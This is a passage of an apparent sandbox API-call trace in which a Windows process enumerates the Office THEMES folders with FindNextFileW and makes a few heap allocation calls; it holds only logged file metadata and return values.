ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0052.032] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0052.032] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0052.033] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0052.034] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0052.035] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0052.035] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0052.036] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0052.036] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0052.037] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0052.037] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0052.038] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0052.040] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0052.041] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0052.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0052.042] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0052.043] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0052.044] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0052.045] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0052.046] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0052.046] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0052.047] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0052.048] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0052.048] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0052.049] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0052.049] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0052.186] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0052.188] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0052.188] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0052.188] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0052.190] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0052.192] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0052.194] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0052.195] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0052.198] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0052.200] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0052.203] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0052.203] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0052.205] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0052.207] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0052.207] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0052.211] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0052.595] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0052.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.596] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.596] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xed4060 [0052.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xeef160 [0052.596] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0052.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xef15f0 [0052.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xef4b50 [0052.596] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0052.596] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0052.596] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0052.596] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0052.597] GetLastError () returned 0x12 [0052.597] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x17aec88, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17aec88) returned 0x459cb8 [0052.597] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0052.597] FindNextFileW (in: hFindFile=0x459cb8, lpFindFileData=0x17aec88 | out: 